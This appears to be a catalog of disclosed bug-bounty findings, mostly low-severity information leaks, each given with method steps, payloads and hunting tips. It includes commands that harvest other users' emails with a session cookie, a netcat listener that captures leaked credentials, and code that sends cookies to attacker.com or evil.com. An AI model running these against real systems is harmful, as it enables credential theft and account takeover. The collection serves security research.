Real-world example
Config file (docker-compose.yml) served at web root leaks DB creds
◆ Low
Specimen #963384 · acronis · awarded · 28 votes · resolved
Program acronisSurface web
Root cause
A deployment config file (docker-compose.yml) was left in the web root and served as static content, exposing MySQL credentials and other environment values. Same vector: a publicly accessible directory serving a wp-config-bearing zip (report 3066548).
Method
- Request common config/deploy files at the web root
- Parse exposed credentials and secrets
- Also probe for exposed directories serving backup/config archives
GET /docker-compose.yml HTTP/1.1
Host: TARGET
# also try: /.env /docker-compose.yaml /.git/config /config.php.bak /wp-config.php.zip /public_html.zip
Insight — Fuzz the web root for deploy/config artifacts (docker-compose.yml, .env, .git, *.bak, config archives). They routinely contain DB creds, API keys and signing secrets. Directory-listing + downloadable zips extend this to full source/wp-config exposure.
Real-world example
Private/shared content indexed by the Wayback Machine
◆ Low
Specimen #1070081 · automattic · awarded · 28 votes · resolved
Program automatticSurface web
Root cause
Note-sharing URLs meant to be private/invite-only were crawled and archived by web.archive.org, so anyone can browse historical snapshots to read private note content.
Method
- Identify the app's shared-content URL pattern (e.g. app.simplenote.com, simp.ly/p)
- Query the Wayback Machine URL index for that pattern
- Open snapshots to read content that is no longer meant to be public
http://web.archive.org/web/*/http://app.simplenote.com/*
http://web.archive.org/cdx/search/cdx?url=simp.ly/p/*&output=text&fl=original
Insight — Wayback Machine (and Google cache, gau, urlscan) archives 'private but unauthenticated-URL' content permanently. For any share-by-link feature, query archive indexes for the URL pattern to recover supposedly-deleted or private items.
Real-world example
Sensitive tokens leaked to third-party analytics
◆ Low
Specimen #1491127 · security · USD 500 · 28 votes · resolved
Program securitySurface web
Root cause
Private invitation links/tokens are normally redacted before being sent to analytics, but certain flows (NDA-gated invites) miss the filtering, so the full sensitive URL is sent to Google Analytics in the document-location (dl) parameter.
Method
- Open a sensitive/tokenized link (e.g. invite requiring NDA)
- Watch outbound requests to google-analytics.com/collect (or similar) in the proxy/devtools
- Read the sensitive URL/token in the dl (or referrer) parameter
GET https://www.google-analytics.com/collect?...&dl=https%3A%2F%2Fhackerone.com%2Finvitations%2F<secret-token>&...
Insight — Inspect all third-party beacon traffic (analytics, ads, error/CSP reporting) for secrets in dl/referrer/URL params. Redaction is usually applied inconsistently across flows; find the one page whose tokenized URL is not scrubbed before the beacon fires.
Real-world example
Directory listing on media/cache subdomains
◆ Low
Specimen #438299 · x · none · 27 votes · resolved
Program xSurface webTag file-upload
Root cause
Web servers with autoindex enabled and no index file expose the full file index of a directory, allowing enumeration/download of otherwise-unlinked assets.
Method
- Enumerate numbered/patterned subdomains (vcache01..08.usw2...)
- Request common dirs (/media/, /uploads/)
- Note autoindex listings and pull files
http://vcache0N.usw2.snappytv.com/media/
Insight — When you find one autoindexed host in a numbered pool, iterate the whole range; media/CDN cache nodes commonly ship with autoindex on.
Real-world example
Apache mod_negotiation MultiViews filename brute-force
◆ Low
Specimen #475167 · ratelimited · none · 27 votes · resolved
Program ratelimitedSurface web
Root cause
With MultiViews/mod_negotiation enabled, requesting a basename with an unsatisfiable Accept header returns a 406 Not Acceptable whose body lists all files that share that basename (a pseudo directory listing), disclosing extensions and backups.
Method
- Request a base name without extension (e.g. GET /index)
- Send a bogus Accept header (e.g. Accept: codeslayer137)
- Read the 406 response listing index.php, index.bak, index.html, etc.
GET /index HTTP/1.1
Host: target
Accept: nonexistenttype
Insight — Use a bogus Accept header on candidate basenames to enumerate hidden extensions and backup files (.bak/.old/.php~) via the 406 listing. Fix is disabling MultiViews.
Real-world example
Reset token leak via Referer to third-party resources
◆ Low
Specimen #1626281 · snapchat · awarded · 26 votes · resolved
Program snapchatSurface webTag account-takeover
Root cause
The password-reset page carried the token in its URL and loaded third-party resources (analytics / CSP report endpoints); those cross-origin requests carried the full reset URL in the Referer header.
Method
- Request a reset and open the reset link
- Proxy the page and search outbound third-party requests for the token in Referer
- Any 3rd-party host now receives a usable reset token
Referer: https://TARGET/reset?token=<secret> (sent to 3rd-party.example)
Insight — Secret-bearing URLs (reset/verify/invite tokens) leak to every third-party asset via Referer; enforce Referrer-Policy: no-referrer and put tokens in POST bodies.
Real-world example
Full path/stack-trace disclosure via SMTP error
◆ Low
Specimen #1841408 · nextcloud · none · 24 votes · resolved
Program nextcloudSurface web
Root cause
An unhandled exception (SMTP connection failure during appointment booking) returns a verbose JSON stack trace exposing absolute server paths and internal class/file structure (CVE-2023-33183).
Method
- Configure SMTP so the mail send fails (or target an instance where mail host is unreachable)
- Book an appointment via /apps/calendar/appointment/<id>/book
- Server returns HTTP 500 with a full trace array containing absolute file paths
POST /index.php/apps/calendar/appointment/9/book HTTP/1.1
Content-Type: application/json
requesttoken: <token>
{"start":1674205200,"end":1674205500,"displayName":"x","email":"x@x.com","timeZone":"UTC"}
# 500 response leaks /var/snap/nextcloud/.../BookingService.php etc.
Insight — Force error paths (unreachable SMTP, malformed input, oversized values) on flows that send mail or touch external services - many frameworks dump full absolute-path stack traces in the error body.
Real-world example
Unauthenticated Kubelet /debug/pprof exposure (CVE-2019-11248)
◆ Low
Specimen #1607940 · 8x8-bounty · none · 24 votes · resolved
Program 8x8-bountySurface cloudTag cloud-aws
Root cause
Kubernetes Kubelet exposes the Go /debug/pprof profiling handlers on an unauthenticated port (here 9100), leaking goroutine stacks/heap/command-line and enabling resource-exhaustion.
Method
- Scan Kubernetes nodes for open Kubelet/healthz ports (10250/10255/custom like 9100)
- Request /debug/pprof/goroutine (and heap, cmdline)
- Read leaked internal profiling data
http://NODE:9100/debug/pprof/goroutine?debug=2
http://NODE:10255/debug/pprof/
Insight — On Kubernetes/Go targets, always probe /debug/pprof on healthz/read-only ports; it is unauthenticated by default (CVE-2019-11248) and leaks internal state. Note: reported body was limited-disclosure; primitive taken from the program summary.
Real-world example
Android location leak via unprotected implicit broadcast
◆ Low
Specimen #185862 · x · USD 560 · 23 votes · resolved
Program xSurface mobile-androidTag account-takeover
Root cause
The app broadcasts sensitive data (GPS coordinates) with an implicit Intent and no receiver permission, so any locally installed app can register a matching receiver and read it with zero declared permissions.
Method
- Reverse the target app and find sendBroadcast() calls carrying sensitive extras
- Register a BroadcastReceiver for that custom action in a zero-permission app
- Receive the leaked data whenever the target broadcasts it
// vulnerable pattern in target app
Intent i = new Intent("com.twitter.library.geo.LOCATION_CHANGED")
.putExtra("com.twitter.library.geo.LOCATION_EXTRA", location);
context.sendBroadcast(i); // no receiverPermission -> any app can listen
// attacker manifest
<receiver android:exported="true">
<intent-filter><action android:name="com.twitter.library.geo.LOCATION_CHANGED"/></intent-filter>
</receiver>
Insight — Grep decompiled apps for sendBroadcast without a permission argument. Any custom-action broadcast carrying PII is readable by any other installed app; the fix is a signature/custom permission or LocalBroadcastManager.
Real-world example
PII harvest via leftover interview/sample program reports
◆ Low
Specimen #353310 · security · USD 500 · 23 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A shared demo/interview program grants candidates access to all historical reports, whose JSON exposes prior candidates' usernames and personal email addresses, enabling enumeration.
Method
- Get access to the interview/demo program as a candidate
- Pull the full report list from bugs.json with your session cookie
- Loop each report id fetching /reports/<id>.json and extract usernames/emails
- Correlate to see which candidates were later hired
curl --cookie '<COOKIE>' 'https://hackerone.com/bugs.json?subject=h1triage&substates[]=all&limit=1000&page=1' | tr ',' '\n' | grep -E '^"id' | cut -d ':' -f2 > reports.txt
while read -r id; do curl --cookie '<COOKIE>' "https://hackerone.com/reports/$id.json" | tr ',' '\n' | grep -Eo 'username.*"' | cut -d '"' -f3; done < reports.txt
Insight — Shared demo/training/interview tenants accumulate real PII. When given access to any multi-user sandbox, enumerate ALL objects via the JSON API, not just the UI, and check for other users' personal data.
Real-world example
curl leaks Authorization/Cookie on redirect to same host, different port/scheme (CVE-2022-27776)
◆ Low
Specimen #1551591 · ibb · USD 480 · 23 votes · resolved
Program ibbSurface otherTag account-takeover
Root cause
curl/libcurl's same-host check for whether to forward custom Authorization/Cookie headers on a redirect compared only the hostname, not the port or scheme, so a 3xx to the same host on a different port (or http vs https) leaked secret headers.
Method
- Configure the server to 301-redirect curl clients to http://samehost:9999
- Listen on 9999 with netcat
- Victim runs curl -L with secret Authorization/Cookie headers
- curl replays those headers to the attacker-controlled port over cleartext
# server (mod_rewrite)
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
# attacker listener
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
# victim
curl -L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
Insight — When auditing HTTP clients / SSRF-with-auth / redirect handling, test whether credential headers survive a redirect that changes only the port or scheme. Same-origin must include scheme+host+port, not host alone (cf. CVE-2022-27774).
Real-world example
Server username disclosure via x-amz-meta-s3cmd-attrs header
◆ Low
Specimen #262649 · gsa_bbp · awarded · 23 votes · resolved
Program gsa_bbpSurface webTag cloud-aws
Root cause
Files uploaded to S3 with s3cmd's default --preserve embed local filesystem metadata (uid/uname/gid/mode/mtime) into the x-amz-meta-s3cmd-attrs object metadata, which S3 returns as a response header, disclosing the (often root) system user.
Method
- Send a GET/HEAD to a static asset served from S3
- Inspect response headers for x-amz-meta-s3cmd-attrs
- Read uid/uname/gid to learn the server user (e.g. root)
curl -sI https://TARGET/path/to/object | grep -i x-amz-meta-s3cmd-attrs
# x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/...
Insight — Always diff full response headers on S3-backed assets. s3cmd-preserved metadata leaks OS user/permissions; fix is to upload with --no-preserve.
Real-world example
Uninitialized-memory disclosure via GIF resize (gifoeb, CVE-2017-15277)
◆ Low
Specimen #315906 · x · none · 23 votes · resolved
Program xSurface webTag file-upload
Root cause
ImageMagick/GraphicsMagick with a vulnerable version fails to initialize the canvas when processing a crafted GIF lacking a global color table, so server heap memory bleeds into the generated (resized) thumbnail returned to the user.
Method
- Generate a crafted large GIF with gifoeb
- Upload it as an avatar/image so the server re-encodes/resizes it
- Download the produced preview
- Re-generate matching GIFs and run gifoeb recover to reconstruct the leaked server memory
git clone https://github.com/neex/gifoeb
./gifoeb gen 5120x5120 exploit.gif # upload as avatar
r=$(identify -format '%wx%h' preview.ext[0])
for i in $(seq 1 10); do ./gifoeb gen $r up/$i.gif; done # upload these
for p in previews/*; do ./gifoeb recover $p | strings; done
Insight — Any endpoint that re-encodes user images (avatars, thumbnails) may run a vulnerable ImageMagick. Test with gifoeb: differing output across identical operations = uninitialized-memory bleed.
Real-world example
Password manager autofills creds into sandboxed null-origin iframe
◆ Low
Specimen #650085 · kaspersky · none · 23 votes · resolved
Program kasperskySurface webTag account-takeover
Root cause
The password-manager extension keys autofill on the iframe's URL-based origin instead of its effective origin, so a fully sandboxed iframe (effective origin null, no allow-same-origin) still receives the parent-domain's stored credentials with no interaction.
Method
- On a target that renders user-controlled content in a sandboxed same-domain iframe, inject a login form
- Load without allow-same-origin so the frame's effective origin is null
- Password manager autofills creds for the URL origin on load
- Script in the frame reads and exfiltrates the filled values
<iframe sandbox src="https://target.example.com/user-content-with-login-form"></iframe>
<!-- no allow-same-origin => effective origin null, yet creds get autofilled -->
Insight — When a site embeds user-controlled content in a same-domain sandboxed iframe, a password manager that ignores effective origin becomes a zero-click credential-exfil primitive. Test autofill behavior inside sandboxed frames.
Real-world example
Exposed diagnostic endpoints (phpinfo, server-status, Flink dashboard)
◆ Low
Specimen #1762764 · expediagroup_bbp · awarded · 23 votes · resolved
Program expediagroup_bbpSurface webChain exposed Flink dashboard -> submit malicious job -> RCETag cloud-aws
Root cause
Debug/diagnostic/admin surfaces are reachable unauthenticated, disclosing environment variables, internal paths, live request data, or a full processing dashboard.
Method
- Fuzz for well-known diagnostic paths on every host and subdomain
- phpinfo.php leaks env vars, absolute paths, loaded modules, and secrets
- Apache /server-status (mod_status) leaks live requests, client IPs, vhosts
- Exposed Apache Flink dashboard exposes/allows job control (RCE via jar submit)
https://TARGET/phpinfo.php
https://TARGET/server-status
https://TARGET/#/overview # Apache Flink dashboard
Insight — Keep a wordlist of diagnostic endpoints (phpinfo.php, server-status, server-info, actuator, /debug/pprof, Flink/Spark/Kibana dashboards) and spray it across all subdomains; each leaks recon that feeds targeted attacks, and some (Flink) escalate to RCE.
Real-world example
Apache /server-status exposure leaks secrets from request URLs
◆ Low
Specimen #1398270 · evernote · 150 · 23 votes · resolved
Program evernoteSurface webChain server-status disclosure -> capture SSO key in URL -> Tag account-takeover
Root cause
Apache mod_status /server-status left world-readable exposes the live request table, including full URLs; any secret passed in a query string (SSO key, private key, reset token) is logged verbatim and readable by anyone.
Method
- Request https://TARGET/server-status/ (also try /server-status?refresh=1)
- Read the 'Request' column for other users' in-flight URLs
- Harvest secrets passed as GET params (e.g. sso_private_key, api_key, reset tokens)
- Replay the leaked SSO/private key to authenticate as the victim
GET /server-status/ HTTP/1.1
Host: TARGET
# Look for rows like: GET /sso?sso_private_key=<KEY>&next=/ssoreturn
Insight — Always probe /server-status, /server-info, /status, /nginx_status on any Apache/nginx host; combine with the habit of apps putting tokens in query strings to turn an 'info banner' into account takeover.
Real-world example
Cached debug endpoint leaks other users' cookies cross-user
◆ Low
Specimen #1888351 · expediagroup_bbp · 100 · 22 votes · resolved
Program expediagroup_bbpSurface webChain cacheable debug endpoint -> reflected HTTP_COOKIE -> c
Root cause
A debug info.php-style endpoint echoes and caches (~1h, shared) all incoming HTTP headers including HTTP_COOKIE and internal Akamai/infra headers, so a victim lured to the page has their cookies cached and served to the next visitor; it is also reflected HTML/CSS injectable.
Method
- Find a phpinfo/info.php/echo-headers debug endpoint
- Check whether its response is cached and shared across clients (send a marker, re-request from another client)
- If it reflects HTTP_COOKIE and caches it, lure the victim then read their cached cookies/infra headers
GET /vc/blog/info.php HTTP/1.1
# response echoes HTTP_COOKIE => MC1=...; and internal HTTP_EDGE_AGENT_* / private-IP headers, cached ~1h shared
Insight — Debug/echo-header endpoints are double trouble when fronted by a shared cache: reflected sensitive headers (Cookie, internal routing/IP headers) become cross-user disclosure. Test caching behavior of any diagnostic page and look for HTTP_COOKIE reflection.
Real-world example
Rate-limit lockout message leaks the triggering IP address
◆ Low
Specimen #1989901 · mozilla · awarded · 22 votes · resolved
Program mozillaSurface webTag account-takeover
Root cause
After an IP-based login lockout, the block message shown to the NEXT visitor includes the IP that tripped the limit, disclosing a (often the legitimate user's) IP address to any third party.
Method
- Trigger the login rate limit from the victim/attacker IP (30+ failed attempts)
- From a different IP, load the login page
- The lockout message displays the previously offending IP address
# 1) intruder/brute 50 wrong passwords until block
# 2) via VPN/other IP, GET the login page -> message reveals prior IP
Insight — Inspect lockout/error strings after tripping a rate limit; systems that echo the offending IP or username leak PII cross-user. Correct behavior is a generic 'account/IP temporarily locked' with no identifiers.
Real-world example
Internal IP disclosure via GraphQL verbose error on missing auth
◆ Low
Specimen #673723 · trint · none · 22 votes · resolved
Program trintSurface graphqlTag graphql
Root cause
Removing the Authorization header on a specific GraphQL operation triggers an error object that echoes the backend's internal IP address in the response.
Method
- Locate the GraphQL endpoint and a specific operation (getUser)
- Remove the 'authorization: Bearer' header to force an error
- Read the error JSON: it contains the internal IP
POST /graphql (operationName=getUser)
# omit: authorization: Bearer ...
# response error: {"ip":"::ffff:10.6.127.182", ... "data":{"user":null}}
Insight — Deliberately break GraphQL requests (drop auth, wrong types, unknown fields, null vars) to harvest verbose errors leaking internal IPs, stack traces, framework/versions and file paths. Errors differ per operation, so test each resolver.
Real-world example
Mutable implicit PendingIntent hijack to inherit app permissions (CVE-2022-24886)
◆ Low
Specimen #1161401 · nextcloud · USD 250 · 21 votes · resolved
Program nextcloudSurface mobile-androidChain mutable PendingIntent -> inherit victim permissions ->Tag account-takeover
Root cause
An app builds a notification with an implicit PendingIntent that is not FLAG_IMMUTABLE; a malicious app (with notification-listener access) fills in the empty packageName/ClipData, so the intent runs with the victim app's identity and permissions (e.g. Contacts).
Method
- Find a PendingIntent that is implicit and mutable (no FLAG_IMMUTABLE)
- From a notification-listener app, retrieve the PendingIntent
- Populate its empty packageName and clipData to target a permission-guarded provider
- Send it; it executes as the victim app, returning e.g. contacts / readable app-dir files
// victim (vulnerable): implicit + mutable PendingIntent in notifyDownloadResult()
// attacker fills empty fields:
pendingIntent.send(context, 0, new Intent()
.setPackage("com.android.contacts")
.setClipData(ClipData.newRawUri(...content://contacts...)));
// runs with com.nextcloud.client's granted permissions
Insight — Audit apps for PendingIntents created without FLAG_IMMUTABLE and with an implicit base Intent. A mutable implicit PendingIntent is a permission-inheritance primitive: the attacker steers it at any provider the victim app can read. Fix = FLAG_IMMUTABLE.
Real-world example
Internal hostname disclosure via blank Host header (HTTP/1.0) with CRLF error-forcing
◆ Low
Specimen #548094 · pingidentity · USD 150 · 21 votes · resolved
Program pingidentitySurface webTag account-takeover
Root cause
Default-configured Apache echoes its internal ServerName/hostname in error pages; sending a request with an empty Host header (allowed under HTTP/1.0) makes the server fall back to and reveal the internal hostname/IP.
Method
- Send a normal request and confirm the app reflects the Host value in responses
- If a 302 redirect masks it, request a nonexistent dir with a CR to force a 404 that reflects the host (/foo%0A)
- Switch to HTTP/1.0 and send with no Host header
- Read the internal hostname/IP in the 400/404 error page footer
openssl s_client -connect apache.example.com:443
GET /foo%0A HTTP/1.0
Host:
Connection: keep-alive
# response footer: <address>Apache Server at aws-ec2.example.internal Port 443</address>
Insight — Against Apache/edge servers, drop the Host header on HTTP/1.0 (and use CRLF %0A to force an error page) to leak internal hostnames/IPs from default error templates; internal names seed further internal-network attacks.
Real-world example
curl reuses wrong pooled connection ignoring IPv6 zone id (CVE-2022-27775)
◆ Low
Specimen #1551588 · other · awarded · 21 votes · resolved
Program otherSurface otherTag account-takeover
Root cause
libcurl's connection-reuse matcher does not include the IPv6 zone/scope id, so a transfer to [addr%zone] can reuse a pooled connection established to a different scope of the same numeric address - sending data to the wrong destination.
Method
- Make an app perform two libcurl transfers to the same numeric IPv6 address with differing zone ids
- The second transfer silently reuses the first connection (wrong interface/scope)
- Confidential data intended for one scope is delivered over the reused connection
curl "http://[fe80::1]:9999/x" "http://[fe80::1%25lo]:9999/y"
# both requests hit the first connection; zone id ignored
Insight — Connection-pool key confusion is a general bug class: whenever a matcher omits a discriminator (zone id, SNI, ALPN, proxy, client cert), requests can be routed to the wrong backend and leak data. Exploitable on macOS/non-Linux where the kernel preserves the zone id.
Real-world example
Sensitive data persists after account deletion (mobile insecure storage)
◆ Low
Specimen #1222873 · nextcloud · awarded · 20 votes · resolved
Program nextcloudSurface mobile-androidTag account-takeover
Root cause
Deleting the account in the Nextcloud Android app does not wipe shared_prefs and cached media; account email, FCM push token, and uploaded images remain on disk (CVE-2022-29160).
Method
- Log into the app, perform activity, then delete the account in-app
- Inspect /data/data/<pkg>/shared_prefs and cached picture dirs
- Find retained email, pushToken, storage paths, and image files
adb shell run-as com.nextcloud.client cat shared_prefs/com.nextcloud.client_preferences.xml
# retains select_oc_account, pushToken, storage_path
ls /storage/emulated/0/Pictures/*.jpg
Insight — Post-logout/post-deletion cleanup is a recurring mobile flaw. After account removal, dump shared_prefs, databases, and app cache dirs for lingering tokens, emails, and media - persisted push/FCM tokens can even enable continued notifications.
Real-world example
Mobile client leaks Basic-Auth token to third-party push server
◆ Low
Specimen #672623 · nextcloud · awarded · 20 votes · resolved
Program nextcloudSurface mobile-iosTag account-takeover
Root cause
The iOS client authenticates every request with a Basic-Auth header (base64 user:token) and, without user notice, registers push parameters at push-notifications.nextcloud.com, sending that same Basic-Auth header to the third-party push host.
Method
- Proxy the mobile app's traffic
- Observe login flow yielding an app token used in Basic-Auth for every request
- Observe the automatic registration request to push-notifications.nextcloud.com carrying the Basic-Auth header
Authorization: Basic base64(username:appToken) -> sent to push-notifications.nextcloud.com
Insight — Intercept mobile clients and watch for credentials/session tokens leaking to analytics/push/CDN third parties in headers, Referer, or query strings; auth material scoped to your origin should never traverse to another host.
Real-world example
undici fetch fails to strip Cookie on cross-origin redirect (CVE-2023-45143)
◆ Low
Specimen #2243710 · ibb · awarded · 20 votes · resolved
Program ibbSurface apiChain open redirect -> undici fetch cross-domain -> cookie/aTag account-takeover
Root cause
undici's fetch() (unlike undici.request) does not clear Cookie/Authorization headers when following a cross-origin redirect, because it treats headers more liberally than the fetch spec, leaking them to the redirect target.
Method
- Server-side app uses undici fetch() with maxRedirections and sets a Cookie header
- Attacker controls (or open-redirects to) a cross-origin URL
- On the cross-domain hop undici keeps the Cookie header, sending it to the attacker host
import { fetch } from 'undici'
await fetch('http://TARGET/redirect.php?url=http://attacker.com:8182/x', {
maxRedirections: 3,
headers: { AutHorization: 'test', Cookie: 'session=SECRET' }
})
// attacker.com receives the Cookie header
Insight — SSRF/URL-fetch features that forward user cookies/tokens are dangerous when the HTTP client mishandles redirects. Chain with any open redirect to exfiltrate the app's own session/Authorization headers. Test both request() and fetch() paths - they can behave differently.
Real-world example
Desktop app leaves authenticated session on disk after uninstall
◆ Low
Specimen #238260 · other · awarded · 20 votes · resolved
Program otherSurface desktopChain insecure local session persistence -> account takeover onTag account-takeover
Root cause
Slack for Windows does not remove its session/auth data on uninstall, so a reinstall (by anyone using the same OS account) silently auto-authenticates into the previous user's account, including admin panel access.
Method
- Install and log into the desktop app on a shared Windows account
- Uninstall the app (no prompt clears local data)
- Reinstall the app -> automatically logged into the prior account without credentials
# residual token/session left under the user profile (e.g. %AppData%) survives uninstall
# reinstall reads it and auto-authenticates
Insight — Audit desktop/Electron apps for auth artifacts that persist past uninstall (tokens under %AppData%/~/Library). On shared machines this is full account takeover; the uninstall/logout flow should wipe the local session store.
Real-world example
Password-reset token leaked via Referer to third parties
◆ Low
Specimen #209352 · automattic · awarded · 19 votes · resolved
Program automatticSurface webChain token in URL -> Referer leak -> third party resets pasTag account-takeover
Root cause
The password-reset page carries the reset token (and email) in its URL and loads third-party resources (analytics, pixels); the browser sends the full reset URL in the Referer header to those third parties, disclosing the token -> account takeover.
Method
- Trigger a password reset and open the link
- Proxy the page load; observe outbound requests to google-analytics/pixel.wp.com etc.
- Their Referer header contains the full /register/reset/<token>?email=<email> URL
- A third party (or log viewer) replays the token+email to set a new password
Referer: https://en.instagram-brand.com/register/reset/<TOKEN>?email=<EMAIL>
Insight — Secrets in URLs (reset/verify/invite tokens) leak via Referer to every third-party asset on the page, plus browser history and server logs. Check reset pages for external requests and a missing Referrer-Policy; fix with meta referrer / no third-party assets / token in POST body.
Real-world example
Sensitive header not stripped on cross-domain redirect (Proxy-Authorization)
◆ Low
Specimen #2352957 · nodejs · none · 18 votes · resolved
Program nodejsSurface apiChain open redirect -> credential leak to attacker originTag open-redirect
Root cause
An HTTP client follows redirects but only strips a subset of sensitive headers (Authorization, Cookie) across origins, leaking Proxy-Authorization to the redirect target (undici CVE-2024-24758).
Method
- Set Authorization, Cookie, and Proxy-Authorization on an outbound request with redirects enabled
- Point the initial URL at a server that 3xx-redirects to an attacker host
- Observe which sensitive headers survive the cross-domain hop
import { request } from 'undici'
await request('http://site/redirect?url=http://attacker:8182/', {
maxRedirections: 3,
headers: { authorization:'t', cookie:'x=y', 'Proxy-Authorization':'SECRET' }
})
// Proxy-Authorization forwarded to attacker
Insight — When auditing HTTP client libraries, check the redirect header-clearing allowlist: many strip Authorization/Cookie but forget Proxy-Authorization (and case variants). Test each sensitive header individually across an open-redirect.
Real-world example
Cross-site privilege oracle (XS-leak) via framed differential response
◆ Low
Specimen #250386 · vkcom · $100 · 17 votes · resolved
Program vkcomSurface web
Root cause
An authenticated endpoint returned a valid (commented-out) response only when the current user is admin of the target group and an 'access error' otherwise; loading it in a cross-origin frame lets an attacker page detect the differential and infer the victim's admin status.
Method
- Load https://vk.com/al_groups.php?act=to_public_box&al=1&gid=TARGET_GID in a frame on the attacker page
- Observe whether the response is the commented (admin) form or 'access error'
- Deduce the victim's admin role for that group without their knowledge
https://vk.com/al_groups.php?act=to_public_box&al=1&gid=TARGET_GID (load in <iframe> and read commented vs "access error" state)
Insight — Authenticated endpoints whose response varies by the victim's privilege or identity are cross-site oracles; frame or fetch them from an attacker origin to leak boolean facts (is-admin, is-member, owns-object) about the visiting victim. Fix is a per-request hash/CSRF token.
Real-world example
Removed/past-member endpoint leaks personal PII, updates live
◆ Low
Specimen #415622 · shopify · USD 500 · 17 votes · resolved
Program shopifySurface web
Root cause
A 'removed members' view is shown to any current member (even with no permissions) and exposes ex-members' personal emails; the stored reference also reflects the ex-member's later account email/name changes.
Method
- Join a team with a no-permission staff role
- Navigate to the removed/past-members endpoint
- Open a past member to reveal their personal email + removal date; if they later change their account email, it updates here too
GET https://partners.shopify.com/{TeamID}/memberships/removed
# lists ex-members, personal emails, removal dates; reflects post-departure email/name changes
Insight — Audit 'history/removed/archived' views: they often skip the permission checks of the live view and retain live references that surface PII a departed user changed after leaving. Test with a no-permission role.
Real-world example
HTTP method swap triggers stack trace / path disclosure
◆ Low
Specimen #225537 · mapbox · awarded · 17 votes · resolved
Program mapboxSurface web
Root cause
An endpoint expecting one HTTP method throws an unhandled error when hit with another (POST->GET), returning a full stack trace that reveals server filesystem paths.
Method
- Find an endpoint that normally takes POST
- Replay it as GET (or an unexpected verb)
- Read the returned stack trace for absolute paths (e.g. node_modules directory)
GET /endpoint-that-expects-POST HTTP/1.1
# -> 500 with full Node.js stack trace revealing absolute install path instead of a clean 404
Insight — Method tampering is a cheap way to force verbose errors. Swap verbs on every endpoint and watch for stack traces; leaked absolute paths aid further LFI/traversal and framework fingerprinting.
Real-world example
OAuth2 bearer token not cleared on cross-protocol redirect (curl)
◆ Low
Specimen #3459417 · curl · none · 17 votes · resolved
Program curlSurface otherChain open redirect -> bearer token theft -> account takeoveTag oauthTag open-redirect
Root cause
libcurl clears user:password on cross-host/port/protocol redirects (CVE-2022-27774 fix) but never clears CURLOPT_XOAUTH2_BEARER, so the bearer token is reused/leaked to the redirect target on SASL protocols like IMAP/SMTP/POP3 (CVE-2025-14524).
Method
- Client sets an XOAUTH2 bearer token and follows redirects (http->imap allowed)
- Trusted server (or open redirect) 3xx-redirects to imap://attacker with a username to force SASL
- curl reuses the retained bearer for AUTHENTICATE XOAUTH2 against the rogue server, leaking it
curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, "SECRET");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");
// server: 301 Location: imap://victim@attacker:1430/ -> AUTHENTICATE XOAUTH2 sends bearer
// missing fix: Curl_safefree(data->set.str[STRING_BEARER]);
Insight — Credential-stripping on redirect is often incomplete: legacy user:pass is cleared but modern tokens (bearer/OAuth2) are forgotten. Audit clients for every credential type across host/port/protocol changes, especially cross-protocol (http->imap/smtp) SASL flows.
Real-world example
Secret transmitted in DNS hostname leaks via resolvers
◆ Low
Specimen #1736846 · automattic · awarded · 17 votes · resolved
Program automatticSurface apiTag account-takeover
Root cause
The Akismet API key was placed in the request subdomain (api-key.rest.akismet.com), so the secret travels in cleartext DNS queries and is logged by every resolver/on-path observer.
Method
- Inspect how a client authenticates to third-party APIs (headers vs URL vs hostname).
- If a secret appears in the hostname, note it is exposed over unencrypted DNS to resolvers and passive-DNS databases.
- Confirm by capturing traffic or querying passive-DNS for <secret>.host records.
# key smuggled as subdomain -> plaintext DNS
AKISMETKEY.rest.akismet.com
# resolver logs / passive DNS now hold the key -> DoS / info leak
Insight — Secrets belong in the request body or an Authorization header over TLS, never in the URL, Referer, or DNS hostname. When auditing a client, check whether API keys/tokens end up in DNS lookups or query strings where third parties (resolvers, proxies, analytics) capture them.
Real-world example
Redaction/masking edge-case bypass (trailing dot, non-commenting actor)
◆ Low
Specimen #2122644 · security · USD 500 · 16 votes · resolved
Program securitySurface web
Root cause
A PDF username-redaction feature fails on edge cases: names ending in '.' aren't matched, and users who triggered activity (agreed to disclose) without commenting are not enrolled in the redaction set.
Method
- Export a report as PDF with 'Redact the names of involved users' enabled
- Inspect activity lines for actors who performed state changes but never commented
- Also test names ending in a period, which evade the redaction regex
GET https://hackerone.com/<id>.pdf?redact_usernames=true&pdf_type=reporter
# 'Emmanuel L.' (trailing dot / disclose-agreeing non-commenter) remains unredacted
Insight — When testing masking/redaction, attack the boundary of the matcher: trailing punctuation, and actors reached by a code path (activity events) that the redaction enumeration overlooks. Diff who is redacted vs who appears in the output.
Real-world example
Absolute path disclosure via malformed multipart upload filename
◆ Low
Specimen #979110 · cs_money · $100 · 16 votes · resolved
Program cs_moneySurface webTag file-upload
Root cause
A file-upload/processing endpoint fails to sanitize the multipart filename; a traversal-style or otherwise invalid filename throws an unhandled 500 whose body echoes the absolute server filesystem path.
Method
- Find any upload endpoint (here: chat support attachment upload) and capture the multipart POST in Burp.
- Replace the filename with a traversal/invalid value and mismatched Content-Type, then forward.
- Observe HTTP 500 Internal Server Error whose body contains internal absolute file paths.
Content-Disposition: form-data; name="file"; filename="/../../../../../.html"
Content-Type: text/html
Insight — When hunting stored XSS/upload bugs, always try traversal/odd filenames and mismatched Content-Types; the resulting stack trace or 500 body frequently leaks absolute paths (webroot, framework install dir) useful for LFI/log-poisoning follow-ups.
Real-world example
HTTP Basic (Platform Auth) credential leak across an open redirect (Burp Repeater)
◆ Low
Specimen #302651 · portswigger · $200 · 15 votes · resolved
Program portswiggerSurface webChain open redirect -> cross-origin Authorization header replayTag open-redirect
Root cause
When Platform Authentication (HTTP Basic) is configured for a host and Repeater follows a redirect, the Authorization header is re-sent to the redirect target - even a cross-origin one - leaking credentials to an attacker-controlled host.
Method
- Configure Platform Authentication (Basic) for example.com in Burp.
- Issue a request to an open-redirect on example.com that 302s to evil.com.
- Click 'Follow redirection'; the Authorization: Basic header is sent to evil.com.
